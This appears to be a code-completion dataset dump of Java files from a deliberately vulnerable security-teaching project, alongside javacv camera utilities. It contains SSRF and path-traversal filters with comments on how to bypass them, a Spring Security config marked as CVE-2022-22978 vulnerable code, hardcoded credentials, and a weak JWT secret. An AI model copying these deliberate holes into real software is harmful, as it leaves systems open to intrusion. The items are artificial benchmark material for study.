private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$");
private final static Logger logger = LoggerFactory.getLogger(SecurityUtil.class);
/**
* Determine if the URL starts with HTTP.
*
* @param url url
* @return true or false
*/
public static boolean isHttp(String url) {
return url.startsWith("http://") || url.startsWith("https://");
}
/**
* Get http url host.
*
* @param url url
* @return host
*/
public static String gethost(String url) {
try {
URI uri = new URI(url);
return uri.getHost().toLowerCase();
} catch (URISyntaxException e) {
return "";
}
}
/**
* 同时支持一级域名和多级域名，相关配置在resources目录下url/url_safe_domain.xml文件。
* 优先判断黑名单，如果满足黑名单return null。
*
* @param url the url need to check
* @return Safe url returns original url; Illegal url returns null;
*/
public static String checkURL(String url) {
if (null == url){
return null;
}
ArrayList<String> safeDomains = WebConfig.getSafeDomains();
ArrayList<String> blockDomains = WebConfig.getBlockDomains();
try {
String host = gethost(url);
// 必须http/https
if (!isHttp(url)) {
return null;
}
// 如果满足黑名单返回null
if (blockDomains.contains(host)){
return null;
}
for(String blockDomain: blockDomains) {
if(host.endsWith("." + blockDomain)) {
return null;
}
}
// 支持多级域名
if (safeDomains.contains(host)){
return url;
}
// 支持一级域名
for(String safedomain: safeDomains) {
if(host.endsWith("." + safedomain)) {
return url;
}
}
return null;
} catch (NullPointerException e) {
logger.error(e.toString());
return null;
}
}
/**
* 通过自定义白名单域名处理SSRF漏洞。如果URL范围收敛，强烈建议使用该方案。
* 这是最简单也最有效的修复方式。因为SSRF都是发起URL请求时造成，大多数场景是图片场景，一般图片的域名都是CDN或者OSS等，所以限定域名白名单即可完成SSRF漏洞修复。
*
* @author JoyChou @ 2020-03-30
* @param url 需要校验的url
* @return Safe url returns true. Dangerous url returns false.
*/
public static boolean checkSSRFByWhitehosts(String url) {
return SSRFChecker.checkURLFckSSRF(url);
}
/**
* 解析URL的IP，判断IP是否是内网IP。如果有重定向跳转，循环解析重定向跳转的IP。不建议使用该方案。
* 存在的问题：
* 1、会主动发起请求，可能会有性能问题
* 2、设置重定向跳转为第一次302不跳转，第二次302跳转到内网IP 即可绕过该防御方案
* 3、TTL设置为0会被绕过
*
* @param url check的url
* @return 安全返回true，危险返回false
*/
@Deprecated
public static boolean checkSSRF(String url) {
int checkTimes = 10;
return SSRFChecker.checkSSRF(url, checkTimes);
}
/**
* 不能使用白名单的情况下建议使用该方案。前提是禁用重定向并且TTL默认不为0。
* 存在问题：
* 1、TTL为0会被绕过
* 2、使用重定向可绕过
*
* @param url The url that needs to check.
* @return Safe url returns true. Dangerous url returns false.
*/
public static boolean checkSSRFWithoutRedirect(String url) {
if(url == null) {
return false;
}
return !SSRFChecker.isInternalIpByUrl(url);
}
/**
* Check ssrf by hook socket. Start socket hook.
*
* @author liergou @ 2020-04-04 02:15
*/
public static void startSSRFHook() throws IOException {
SocketHook.startHook();
}
/**
* Close socket hook.
*
* @author liergou @ 2020-04-04 02:15
**/
public static void stopSSRFHook(){
SocketHook.stopHook();
}
/**
* Filter file path to prevent path traversal vulns.
*
* @param filepath file path
* @return illegal file path return null
*/
public static String pathFilter(String filepath) {<FILL_FUNCTION_BODY>}
public static String cmdFilter(String input) {
if (!FILTER_PATTERN.matcher(input).matches()) {
return null;
}
return input;
}
/**
* 过滤mybatis中order by不能用#的情况。
* 严格限制用户输入只能包含<code>a-zA-Z0-9_-.</code>字符。
*
* @param sql sql
* @return 安全sql，否则返回null
*/
public static String sqlFilter(String sql) {
if (!FILTER_PATTERN.matcher(sql).matches()) {
return null;
}
return sql;
}
/**
* 将非<code>0-9a-zA-Z/-.</code>的字符替换为空
*
* @param str 字符串
* @return 被过滤的字符串
*/
public static String replaceSpecialStr(String str) {
StringBuilder sb = new StringBuilder();
str = str.toLowerCase();
for(int i = 0; i < str.length(); i++) {
char ch = str.charAt(i);
// 如果是0-9
if (ch >= 48 && ch <= 57 ){
sb.append(ch);
}
// 如果是a-z
else if(ch >= 97 && ch <= 122) {
sb.append(ch);
}
else if(ch == '/' || ch == '.' || ch == '-'){
sb.append(ch);
}
}
return sb.toString();
}
public static void main(String[] args) {
}
}
|
String temp = filepath;
// use while to sovle multi urlencode
while (temp.indexOf('%') != -1) {
try {
temp = URLDecoder.decode(temp, "utf-8");
} catch (UnsupportedEncodingException e) {
logger.info("Unsupported encoding exception: " + filepath);
return null;
} catch (Exception e) {
logger.info(e.toString());
return null;
}
}
if (temp.contains("..") || temp.charAt(0) == '/') {
return null;
}
return filepath;
| 1,824
| 162
| 1,986
|
<no_super_class>
|
JoyChou93_java-sec-code
|
java-sec-code/src/main/java/org/joychou/security/WebSecurityConfig.java
|
WebSecurityConfig
|
configure
|
class WebSecurityConfig extends WebSecurityConfigurerAdapter {
@Value("${joychou.security.csrf.enabled}")
private Boolean csrfEnabled = false;
@Value("${joychou.security.csrf.exclude.url}")
private String[] csrfExcludeUrl;
@Value("${joychou.no.need.login.url}")
private String[] noNeedLoginUrl;
@Value("${joychou.security.csrf.method}")
private String[] csrfMethod = {"POST"};
private RequestMatcher csrfRequestMatcher = new RequestMatcher() {
@Override
public boolean matches(HttpServletRequest request) {
// 配置需要CSRF校验的请求方式，
HashSet<String> allowedMethods = new HashSet<>(Arrays.asList(csrfMethod));
// return false表示不校验csrf
if (!csrfEnabled) {
return false;
}
return allowedMethods.contains(request.getMethod());
}
};
@Override
protected void configure(HttpSecurity http) throws Exception {<FILL_FUNCTION_BODY>}
/**
* Global cors configure
*/
@Bean
CorsConfigurationSource corsConfigurationSource()
{
// Set cors origin white list
ArrayList<String> allowOrigins = new ArrayList<>();
allowOrigins.add("joychou.org");
allowOrigins.add("https://test.joychou.me"); // 区分http和https，并且默认不会拦截同域请求。
CorsConfiguration configuration = new CorsConfiguration();
configuration.setAllowedOrigins(allowOrigins);
configuration.setAllowCredentials(true);
configuration.setAllowedMethods(Arrays.asList("GET", "POST"));
UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
source.registerCorsConfiguration("/cors/sec/httpCors", configuration); // ant style
return source;
}
@Autowired
public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {
auth
.inMemoryAuthentication()
.withUser("joychou").password("joychou123").roles("USER").and()
.withUser("admin").password("admin123").roles("USER", "ADMIN");
}
}
|
// 默认token存在session里，用CookieCsrfTokenRepository改为token存在cookie里。
// 但存在后端多台服务器情况，session不能同步的问题，所以一般使用cookie模式。
http.csrf()
.requireCsrfProtectionMatcher(csrfRequestMatcher)
.ignoringAntMatchers(csrfExcludeUrl) // 不进行csrf校验的uri，多个uri使用逗号分隔
.csrfTokenRepository(new CookieCsrfTokenRepository());
http.exceptionHandling().accessDeniedHandler(new CsrfAccessDeniedHandler());
// http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse());
http.cors();
// spring security login settings
http.authorizeRequests()
.antMatchers(noNeedLoginUrl).permitAll() // no need to login page
// CVE-2022-22978漏洞代码
.regexMatchers("/black_path.*").denyAll() // 如果正则匹配到/black_path，则forbidden
.anyRequest().authenticated().and() // any request authenticated except above static resources
.formLogin().loginPage("/login").permitAll() // permit all to access /login page
.successHandler(new LoginSuccessHandler())
.failureHandler(new LoginFailureHandler()).and()
.logout().logoutUrl("/logout").permitAll().and()
// tomcat默认JSESSION会话有效时间为30分钟，所以30分钟不操作会话将过期。为了解决这一问题，引入rememberMe功能。
.rememberMe();
| 603
| 422
| 1,025
|
<no_super_class>
|
JoyChou93_java-sec-code
|
java-sec-code/src/main/java/org/joychou/security/ssrf/SocketHook.java
|
SocketHook
|
startHook
|
class SocketHook {
public static void startHook() throws IOException {<FILL_FUNCTION_BODY>}
public static void stopHook(){
SocketHookFactory.setHook(false);
}
}
|
SocketHookFactory.initSocket();
SocketHookFactory.setHook(true);
try{
Socket.setSocketImplFactory(new SocketHookFactory());
}catch (SocketException ignored){
}
| 56
| 57
| 113
|
<no_super_class>
|
JoyChou93_java-sec-code
|
java-sec-code/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java
|
SocketHookFactory
|
initSocket
|
class SocketHookFactory implements SocketImplFactory {
private static Boolean isHook = false;
private static Constructor socketConstructor = null;
private final Logger logger = LoggerFactory.getLogger(this.getClass());
/**
* @param set hook switch
*/
static void setHook(Boolean set) {
isHook = set;
}
static void initSocket() {<FILL_FUNCTION_BODY>}
public SocketImpl createSocketImpl() {
if (isHook) {
try {
return new SocketHookImpl(socketConstructor);
} catch (Exception e) {
logger.error("Socket hook failed!");
try {
return (SocketImpl) socketConstructor.newInstance();
} catch (InstantiationException | IllegalAccessException | InvocationTargetException ex) {
logger.error(ex.toString());
}
}
} else {
try {
return (SocketImpl) socketConstructor.newInstance();
} catch (InstantiationException | IllegalAccessException | InvocationTargetException e) {
logger.error(e.toString());
}
}
return null;
}
}
|
if (socketConstructor != null) {
return;
}
Socket socket = new Socket();
try {
// get impl field in Socket class
Field implField = Socket.class.getDeclaredField("impl");
implField.setAccessible(true);
Class<?> clazz = implField.get(socket).getClass();
SocketHookImpl.initSocketImpl(clazz);
socketConstructor = clazz.getDeclaredConstructor();
socketConstructor.setAccessible(true);
} catch (NoSuchFieldException | IllegalAccessException | NoSuchMethodException e) {
throw new SSRFException("SocketHookFactory init failed!");
}
try {
socket.close();
} catch (IOException ignored) {
}
| 295
| 199
| 494
|
<no_super_class>
|
JoyChou93_java-sec-code
|
java-sec-code/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java
|
SocketHookUtils
|
findMethod
|
class SocketHookUtils {
/**
* Poll the parent class to find the reflection method.
* SocksSocketImpl -> PlainSocketImpl -> AbstractPlainSocketImpl
*
* @author liergou @2020-04-04 01:43
*/
static Method findMethod(Class<?> clazz, String findName, Class<?>[] args) {<FILL_FUNCTION_BODY>}
}
|
while (clazz != null) {
try {
Method method = clazz.getDeclaredMethod(findName, args);
method.setAccessible(true);
return method;
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
return null;
| 117
| 87
| 204
|
<no_super_class>
|
JoyChou93_java-sec-code
|
java-sec-code/src/main/java/org/joychou/util/CookieUtils.java
|
CookieUtils
|
deleteCookie
|
class CookieUtils {
public static boolean deleteCookie(HttpServletResponse res, String cookieName) {<FILL_FUNCTION_BODY>}
public static boolean addCookie(HttpServletResponse res, String cookieName, String cookieValue) {
try {
Cookie cookie = new Cookie(cookieName, cookieValue);
cookie.setMaxAge(1000);
cookie.setPath("/");
res.addCookie(cookie);
return true;
} catch (Exception e) {
log.error(e.toString());
return false;
}
}
}
|
try {
Cookie cookie = new Cookie(cookieName, null);
cookie.setMaxAge(0);
cookie.setPath("/");
res.addCookie(cookie);
return true;
} catch (Exception e) {
log.error(e.toString());
return false;
}
| 153
| 85
| 238
|
<no_super_class>
|
JoyChou93_java-sec-code
|
java-sec-code/src/main/java/org/joychou/util/HttpUtils.java
|
HttpUtils
|
IOUtils
|
class HttpUtils {
private final static Logger logger = LoggerFactory.getLogger(HttpUtils.class);
public static String commonHttpClient(String url) {
HttpClient client = new HttpClient();
GetMethod method = new GetMethod(url);
try {
client.executeMethod(method); // send request
byte[] resBody = method.getResponseBody();
return new String(resBody);
} catch (IOException e) {
return "Error: " + e.getMessage();
} finally {
// Release the connection.
method.releaseConnection();
}
}
public static String request(String url) {
try {
return Request.Get(url).execute().returnContent().toString();
} catch (Exception e) {
return e.getMessage();
}
}
public static String httpClient(String url) {
StringBuilder result = new StringBuilder();
try {
CloseableHttpClient client = HttpClients.createDefault();
HttpGet httpGet = new HttpGet(url);
// set redirect enable false
// httpGet.setConfig(RequestConfig.custom().setRedirectsEnabled(false).build());
HttpResponse httpResponse = client.execute(httpGet); // send request
BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
String line;
while ((line = rd.readLine()) != null) {
result.append(line);
}
return result.toString();
} catch (Exception e) {
return e.getMessage();
}
}
public static String URLConnection(String url) {
try {
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request
String inputLine;
StringBuilder html = new StringBuilder();
while ((inputLine = in.readLine()) != null) {
html.append(inputLine);
}
in.close();
return html.toString();
} catch (Exception e) {
logger.error(e.getMessage());
return e.getMessage();
}
}
/**
* The default setting of followRedirects is true.
* UserAgent is Java/1.8.0_102.
*/
public static String HttpURLConnection(String url) {
try {
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
HttpURLConnection conn = (HttpURLConnection) urlConnection;
// conn.setInstanceFollowRedirects(false);
// Many HttpURLConnection methods can send http request, such as getResponseCode, getHeaderField
InputStream is = conn.getInputStream(); // send request
BufferedReader in = new BufferedReader(new InputStreamReader(is));
String inputLine;
StringBuilder html = new StringBuilder();
while ((inputLine = in.readLine()) != null) {
html.append(inputLine);
}
in.close();
return html.toString();
} catch (IOException e) {
logger.error(e.getMessage());
return e.getMessage();
}
}
/**
* Jsoup is a HTML parser about Java.
*
* @param url http request url
*/
public static String Jsoup(String url) {
try {
Document doc = Jsoup.connect(url)
// .followRedirects(false)
.timeout(3000)
.cookie("name", "joychou") // request cookies
.execute().parse();
return doc.outerHtml();
} catch (IOException e) {
return e.getMessage();
}
}
/**
* The default setting of followRedirects is true. The option of followRedirects is true.
*
* UserAgent is <code>okhttp/2.5.0</code>.
*/
public static String okhttp(String url) throws IOException {
OkHttpClient client = new OkHttpClient();
// client.setFollowRedirects(false);
com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build();
return client.newCall(ok_http).execute().body().string();
}
/**
* The default setting of followRedirects is true.
*
* UserAgent is Java/1.8.0_102.
*
* @param url http request url
*/
public static void imageIO(String url) {
try {
URL u = new URL(url);
ImageIO.read(u); // send request
} catch (IOException e) {
logger.error(e.getMessage());
}
}
/**
* IOUtils which is wrapped by URLConnection can get remote pictures.
* The default setting of redirection is true.
*
* @param url http request url
*/
public static void IOUtils(String url) {<FILL_FUNCTION_BODY>}
public static String HttpAsyncClients(String url) {
CloseableHttpAsyncClient httpclient = HttpAsyncClients.createDefault();
try {
httpclient.start();
final HttpGet request = new HttpGet(url);
Future<HttpResponse> future = httpclient.execute(request, null);
HttpResponse response = future.get(6000, TimeUnit.MILLISECONDS);
return EntityUtils.toString(response.getEntity());
} catch (Exception e) {
return e.getMessage();
} finally {
try {
httpclient.close();
} catch (Exception e) {
logger.error(e.getMessage());
}
}
}
}
|
try {
IOUtils.toByteArray(URI.create(url));
} catch (IOException e) {
logger.error(e.getMessage());
}
| 1,477
| 44
| 1,521
|
<no_super_class>
|
JoyChou93_java-sec-code
|
java-sec-code/src/main/java/org/joychou/util/JwtUtils.java
|
JwtUtils
|
main
|
class JwtUtils {
private static final long EXPIRE = 1440 * 60 * 1000; // 1440 Minutes, 1 DAY
private static final String SECRET = "123456";
private static final String B64_SECRET = Base64.getEncoder().encodeToString(SECRET.getBytes(StandardCharsets.UTF_8));
/**
* Generate JWT Token by jjwt (last update time: Jul 05, 2018)
*
* @author JoyChou 2022-09-20
* @param userId userid
* @return token
*/
public static String generateTokenByJjwt(String userId) {
return Jwts.builder()
.setHeaderParam("typ", "JWT") // header
.setHeaderParam("alg", "HS256") // header
.setIssuedAt(new Date()) // token发布时间
.setExpiration(new Date(System.currentTimeMillis() + EXPIRE)) // token过期时间
.claim("userid", userId)
// secret在signWith会base64解码，但网上很多代码示例并没对secret做base64编码，所以在爆破key的时候可以注意下。
.signWith(SignatureAlgorithm.HS256, B64_SECRET)
.compact();
}
public static String getUserIdFromJjwtToken(String token) {
try {
Claims claims = Jwts.parser().setSigningKey(B64_SECRET).parseClaimsJws(token).getBody();
return (String)claims.get("userid");
} catch (Exception e) {
return e.toString();
}
}
/**
* Generate jwt token by java-jwt.
*
* @author JoyChou 2022-09-20
* @param nickname nickname
* @return jwt token
*/
public static String generateTokenByJavaJwt(String nickname) {
return JWT.create()
.withClaim("nickname", nickname)
.withExpiresAt(new Date(System.currentTimeMillis() + EXPIRE))
.withIssuedAt(new Date())
.sign(Algorithm.HMAC256(SECRET));
}
/**
* Verify JWT Token
* @param token token
* @return Valid token returns true. Invalid token returns false.
*/
public static Boolean verifyTokenByJavaJwt(String token) {
try {
Algorithm algorithm = Algorithm.HMAC256(SECRET);
JWTVerifier verifier = JWT.require(algorithm).build();
verifier.verify(token);
return true;
} catch (JWTVerificationException exception){
log.error(exception.toString());
return false;
}
}
public static String getNicknameByJavaJwt(String token) {
// If the signature is not verified, there will be security issues.
if (!verifyTokenByJavaJwt(token)) {
log.error("token is invalid");
return null;
}
return JWT.decode(token).getClaim("nickname").asString();
}
public static void main(String[] args) {<FILL_FUNCTION_BODY>}
}
|
String jjwtToken = generateTokenByJjwt("10000");
System.out.println(jjwtToken);
System.out.println(getUserIdFromJjwtToken(jjwtToken));
String token = generateTokenByJavaJwt("JoyChou");
System.out.println(token);
System.out.println(getNicknameByJavaJwt(token));
| 885
| 106
| 991
|
<no_super_class>
|
JoyChou93_java-sec-code
|
java-sec-code/src/main/java/org/joychou/util/LoginUtils.java
|
LoginUtils
|
getUserInfo2JsonStr
|
class LoginUtils {
// get current login username
public static String getUserInfo2JsonStr(HttpServletRequest request) {<FILL_FUNCTION_BODY>}
}
|
Principal principal = request.getUserPrincipal();
String username = principal.getName();
Map<String, String> m = new HashMap<>();
m.put("Username", username);
return JSON.toJSONString(m);
| 45
| 63
| 108
|
<no_super_class>
|
bytedeco_javacv
|
javacv/src/main/java/cl/eye/CLCamera.java
|
CLCamera
|
createCamera
|
class CLCamera
{
// camera color mode
public static int CLEYE_MONO_PROCESSED = 0;
public static int CLEYE_COLOR_PROCESSED = 1;
public static int CLEYE_MONO_RAW = 2;
public static int CLEYE_COLOR_RAW = 3;
public static int CLEYE_BAYER_RAW = 4;
// camera resolution
public static int CLEYE_QVGA = 0;
public static int CLEYE_VGA = 1;
// camera sensor parameters
public static int CLEYE_AUTO_GAIN = 0; // [0, 1]
public static int CLEYE_GAIN = 1; // [0, 79]
public static int CLEYE_AUTO_EXPOSURE = 2; // [0, 1]
public static int CLEYE_EXPOSURE = 3; // [0, 511]
public static int CLEYE_AUTO_WHITEBALANCE = 4; // [0, 1]
public static int CLEYE_WHITEBALANCE_RED = 5; // [0, 255]
public static int CLEYE_WHITEBALANCE_GREEN = 6; // [0, 255]
public static int CLEYE_WHITEBALANCE_BLUE = 7; // [0, 255]
// camera linear transform parameters
public static int CLEYE_HFLIP = 8; // [0, 1]
public static int CLEYE_VFLIP = 9; // [0, 1]
public static int CLEYE_HKEYSTONE = 10; // [-500, 500]
public static int CLEYE_VKEYSTONE = 11; // [-500, 500]
public static int CLEYE_XOFFSET = 12; // [-500, 500]
public static int CLEYE_YOFFSET = 13; // [-500, 500]
public static int CLEYE_ROTATION = 14; // [-500, 500]
public static int CLEYE_ZOOM = 15; // [-500, 500]
// camera non-linear transform parameters
public static int CLEYE_LENSCORRECTION1 = 16; // [-500, 500]
public static int CLEYE_LENSCORRECTION2 = 17; // [-500, 500]
public static int CLEYE_LENSCORRECTION3 = 18; // [-500, 500]
public static int CLEYE_LENSBRIGHTNESS = 19; // [-500, 500]
native static int CLEyeGetCameraCount();
native static String CLEyeGetCameraUUID(int index);
native static int CLEyeCreateCamera(int cameraIndex, int mode, int resolution, int framerate);
native static boolean CLEyeDestroyCamera(int cameraIndex);
native static boolean CLEyeCameraStart(int cameraInstance);
native static boolean CLEyeCameraStop(int cameraInstance);
native static boolean CLEyeSetCameraParameter(int cameraInstance, int param, int val);
native static int CLEyeGetCameraParameter(int cameraInstance, int param);
native static boolean CLEyeCameraGetFrame(int cameraInstance, int[] imgData, int waitTimeout);
private int cameraInstance = 0;
// private PApplet parent;
private static boolean libraryLoaded = false;
private static String dllpathx32 = "C://Program Files//Code Laboratories//CL-Eye Platform SDK//Bin//CLEyeMulticam.dll";
private static String dllpathx64 = "C://Program Files (x86)//Code Laboratories//CL-Eye Platform SDK//Bin//CLEyeMulticam.dll";
// static methods
static
{
try
{
System.load(dllpathx32);
libraryLoaded = true;
System.out.println("CLEyeMulticam.dll loaded");
}
catch(UnsatisfiedLinkError e1)
{
System.out.println("(1) Could not find the CLEyeMulticam.dll");
try
{
System.load(dllpathx64);
libraryLoaded = true;
System.out.println("CLEyeMulticam.dll loaded");
}
catch(UnsatisfiedLinkError e2)
{
System.out.println("(2) Could not find the CLEyeMulticam.dll");
}
}
}
public static boolean IsLibraryLoaded()
{
return libraryLoaded;
}
public static void loadLibrary(String libraryPath)
{
if(libraryLoaded) return;
try
{
System.load(libraryPath);
System.out.println("CLEyeMulticam.dll loaded");
}
catch(UnsatisfiedLinkError e1)
{
System.out.println("(3) Could not find the CLEyeMulticam.dll (Custom Path)");
}
}
public static int cameraCount()
{
return CLEyeGetCameraCount();
}
public static String cameraUUID(int index)
{
return CLEyeGetCameraUUID(index);
}
// public methods
// public CLCamera(PApplet parent)
// {
// this.parent = parent;
// parent.registerDispose(this);
// }
public void dispose()
{
stopCamera();
destroyCamera();
}
public boolean createCamera(int cameraIndex, int mode, int resolution, int framerate)
{<FILL_FUNCTION_BODY>}
public boolean destroyCamera()
{
return CLEyeDestroyCamera(cameraInstance);
}
public boolean startCamera()
{
return CLEyeCameraStart(cameraInstance);
}
public boolean stopCamera()
{
return CLEyeCameraStop(cameraInstance);
}
public boolean getCameraFrame(int[] imgData, int waitTimeout)
{
return CLEyeCameraGetFrame(cameraInstance, imgData, waitTimeout);
}
public boolean setCameraParam(int param, int val)
{
return CLEyeSetCameraParameter(cameraInstance, param, val);
}
public int getCameraParam(int param)
{
return CLEyeGetCameraParameter(cameraInstance, param);
}
}
|
cameraInstance = CLEyeCreateCamera(cameraIndex, mode, resolution, framerate);
return cameraInstance != 0;
| 1,912
| 39
| 1,951
|
<no_super_class>
|
bytedeco_javacv
|
javacv/src/main/java/org/bytedeco/javacv/BaseChildSettings.java
|
PropertyVetoExceptionThatNetBeansLikes
|
call
|
class PropertyVetoExceptionThatNetBeansLikes extends PropertyVetoException implements Callable {
public PropertyVetoExceptionThatNetBeansLikes(String mess, PropertyChangeEvent evt) {
super(mess, evt);
}
public Object call() throws Exception {<FILL_FUNCTION_BODY>}
}
|
LogRecord lg = new LogRecord(Level.ALL, getMessage());
lg.setResourceBundle(new ListResourceBundle() {
protected Object[][] getContents() {
return new Object[][] { {getMessage(), getMessage()} };
}
});
return new LogRecord[] { lg };
| 83
| 79
| 162
|
<methods>public void <init>() ,public void <init>(java.beans.beancontext.BeanContextChild) ,public void addPropertyChangeListener(java.lang.String, java.beans.PropertyChangeListener) ,public void addVetoableChangeListener(java.lang.String, java.beans.VetoableChangeListener) ,public void firePropertyChange(java.lang.String, java.lang.Object, java.lang.Object) ,public void fireVetoableChange(java.lang.String, java.lang.Object, java.lang.Object) throws java.beans.PropertyVetoException,public synchronized java.beans.beancontext.BeanContext getBeanContext() ,public java.beans.beancontext.BeanContextChild getBeanContextChildPeer() ,public boolean isDelegated() ,public void removePropertyChangeListener(java.lang.String, java.beans.PropertyChangeListener) ,public void removeVetoableChangeListener(java.lang.String, java.beans.VetoableChangeListener) ,public void serviceAvailable(java.beans.beancontext.BeanContextServiceAvailableEvent) ,public void serviceRevoked(java.beans.beancontext.BeanContextServiceRevokedEvent) ,public synchronized void setBeanContext(java.beans.beancontext.BeanContext) throws java.beans.PropertyVetoException,public boolean validatePendingSetBeanContext(java.beans.beancontext.BeanContext) <variables>protected transient java.beans.beancontext.BeanContext beanContext,public java.beans.beancontext.BeanContextChild beanContextChildPeer,protected java.beans.PropertyChangeSupport pcSupport,protected transient boolean rejectedSetBCOnce,private static final long serialVersionUID,protected java.beans.VetoableChangeSupport vcSupport
|
bytedeco_javacv
|
javacv/src/main/java/org/bytedeco/javacv/BaseSettings.java
|
BaseSettings
|
addPropertyChangeListener
|
class BaseSettings extends BeanContextSupport implements Comparable<BaseSettings> {
public void addPropertyChangeListener(PropertyChangeListener listener) {<FILL_FUNCTION_BODY>}
public void removePropertyChangeListener(PropertyChangeListener listener) {
pcSupport.removePropertyChangeListener(listener);
for (Object s : toArray()) {
if (s instanceof BaseChildSettings) {
((BaseChildSettings)s).removePropertyChangeListener(listener);
} else if (s instanceof BaseSettings) {
((BaseSettings)s).addPropertyChangeListener(listener);
}
}
}
public int compareTo(BaseSettings o) {
return getName().compareTo(o.getName());
}
protected String getName() {
return "";
}
@Override public Object[] toArray() {
Object[] a = super.toArray();
Arrays.sort(a);
return a;
}
@Override public Object[] toArray(Object[] a) {
a = super.toArray(a);
Arrays.sort(a);
return a;
}
}
|
pcSupport.addPropertyChangeListener(listener);
for (Object s : toArray()) {
if (s instanceof BaseChildSettings) {
((BaseChildSettings)s).addPropertyChangeListener(listener);
} else if (s instanceof BaseSettings) {
((BaseSettings)s).addPropertyChangeListener(listener);
}
}
| 280
| 89
| 369
|
<methods>public void <init>() ,public void <init>(java.beans.beancontext.BeanContext) ,public void <init>(java.beans.beancontext.BeanContext, java.util.Locale) ,public void <init>(java.beans.beancontext.BeanContext, java.util.Locale, boolean) ,public void <init>(java.beans.beancontext.BeanContext, java.util.Locale, boolean, boolean) ,public boolean add(java.lang.Object) ,public boolean addAll(Collection#RAW) ,public void addBeanContextMembershipListener(java.beans.beancontext.BeanContextMembershipListener) ,public boolean avoidingGui() ,public void clear() ,public boolean contains(java.lang.Object) ,public boolean containsAll(Collection#RAW) ,public boolean containsKey(java.lang.Object) ,public synchronized void dontUseGui() ,public java.beans.beancontext.BeanContext getBeanContextPeer() ,public synchronized java.util.Locale getLocale() ,public java.net.URL getResource(java.lang.String, java.beans.beancontext.BeanContextChild) ,public java.io.InputStream getResourceAsStream(java.lang.String, java.beans.beancontext.BeanContextChild) ,public java.lang.Object instantiateChild(java.lang.String) throws java.io.IOException, java.lang.ClassNotFoundException,public synchronized boolean isDesignTime() ,public boolean isEmpty() ,public boolean isSerializing() ,public Iterator<java.lang.Object> iterator() ,public synchronized boolean needsGui() ,public synchronized void okToUseGui() ,public void propertyChange(java.beans.PropertyChangeEvent) ,public final void readChildren(java.io.ObjectInputStream) throws java.io.IOException, java.lang.ClassNotFoundException,public boolean remove(java.lang.Object) ,public boolean removeAll(Collection#RAW) ,public void removeBeanContextMembershipListener(java.beans.beancontext.BeanContextMembershipListener) ,public boolean retainAll(Collection#RAW) ,public synchronized void setDesignTime(boolean) ,public synchronized void setLocale(java.util.Locale) throws java.beans.PropertyVetoException,public int size() ,public java.lang.Object[] toArray() ,public java.lang.Object[] toArray(java.lang.Object[]) ,public void vetoableChange(java.beans.PropertyChangeEvent) throws java.beans.PropertyVetoException,public final void writeChildren(java.io.ObjectOutputStream) throws java.io.IOException<variables>protected transient ArrayList<java.beans.beancontext.BeanContextMembershipListener> bcmListeners,private transient java.beans.PropertyChangeListener childPCL,private transient java.beans.VetoableChangeListener childVCL,protected transient HashMap<java.lang.Object,java.beans.beancontext.BeanContextSupport.BCSChild> children,protected boolean designTime,protected java.util.Locale locale,protected boolean okToUseGui,private static final long serialVersionUID,private int serializable,private transient boolean serializing
|
bytedeco_javacv
|
javacv/src/main/java/org/bytedeco/javacv/BufferRing.java
|
BufferRing
|
release
|
class BufferRing<B extends BufferRing.ReleasableBuffer> {
public BufferRing(BufferFactory<B> factory, int size) {
buffers = new Object[size];
for (int i = 0; i < size; i++) {
buffers[i] = factory.create();
}
position = 0;
}
public interface BufferFactory<B extends ReleasableBuffer> {
B create();
}
public interface ReleasableBuffer {
void release();
}
private Object[] buffers;
private int position;
public int capacity() {
return buffers.length;
}
public int position() {
return position;
}
public BufferRing position(int position) {
this.position = ((position % buffers.length) + buffers.length) % buffers.length;
return this;
}
@SuppressWarnings("unchecked")
public B get() {
return (B)buffers[position];
}
@SuppressWarnings("unchecked")
public B get(int offset) {
return (B)buffers[((position + offset) % buffers.length + buffers.length) % buffers.length];
}
@SuppressWarnings("unchecked")
public void release() {<FILL_FUNCTION_BODY>}
}
|
for (int i = 0; i < buffers.length; i++) {
((B)buffers[i]).release();
}
buffers = null;
| 358
| 46
| 404
|
<no_super_class>
|
bytedeco_javacv
|
javacv/src/main/java/org/bytedeco/javacv/CameraSettings.java
|
CameraSettings
|
setQuantity
|
class CameraSettings extends BaseSettings {
public CameraSettings() {
this(false);
}
public CameraSettings(boolean calibrated) {
this.calibrated = calibrated;
}
boolean calibrated = false;
double monitorWindowsScale = 1.0;
Class<? extends FrameGrabber> frameGrabber = null;
public int getQuantity() {
return size();
}
public void setQuantity(int quantity) throws PropertyVetoException {<FILL_FUNCTION_BODY>}
public double getMonitorWindowsScale() {
return monitorWindowsScale;
}
public void setMonitorWindowsScale(double monitorWindowsScale) {
this.monitorWindowsScale = monitorWindowsScale;
}
public Class<? extends FrameGrabber> getFrameGrabber() {
return frameGrabber;
}
public void setFrameGrabber(Class<? extends FrameGrabber> frameGrabber) {
pcSupport.firePropertyChange("frameGrabber", this.frameGrabber, this.frameGrabber = frameGrabber);
}
@Override public CameraDevice.Settings[] toArray() {
return (CameraDevice.Settings[])toArray(new CameraDevice.Settings[size()]);
}
}
|
quantity = Math.max(1, quantity);
Object[] a = toArray();
int i = a.length;
while (i > quantity) {
remove(a[i-1]);
i--;
}
while (i < quantity) {
CameraDevice.Settings c = calibrated ? new CameraDevice.CalibratedSettings() :
new CameraDevice.CalibrationSettings();
c.setName("Camera " + String.format("%2d", i));
c.setDeviceNumber(i);
c.setFrameGrabber(frameGrabber);
add(c);
i++;
}
pcSupport.firePropertyChange("quantity", a.length, quantity);
| 321
| 179
| 500
|
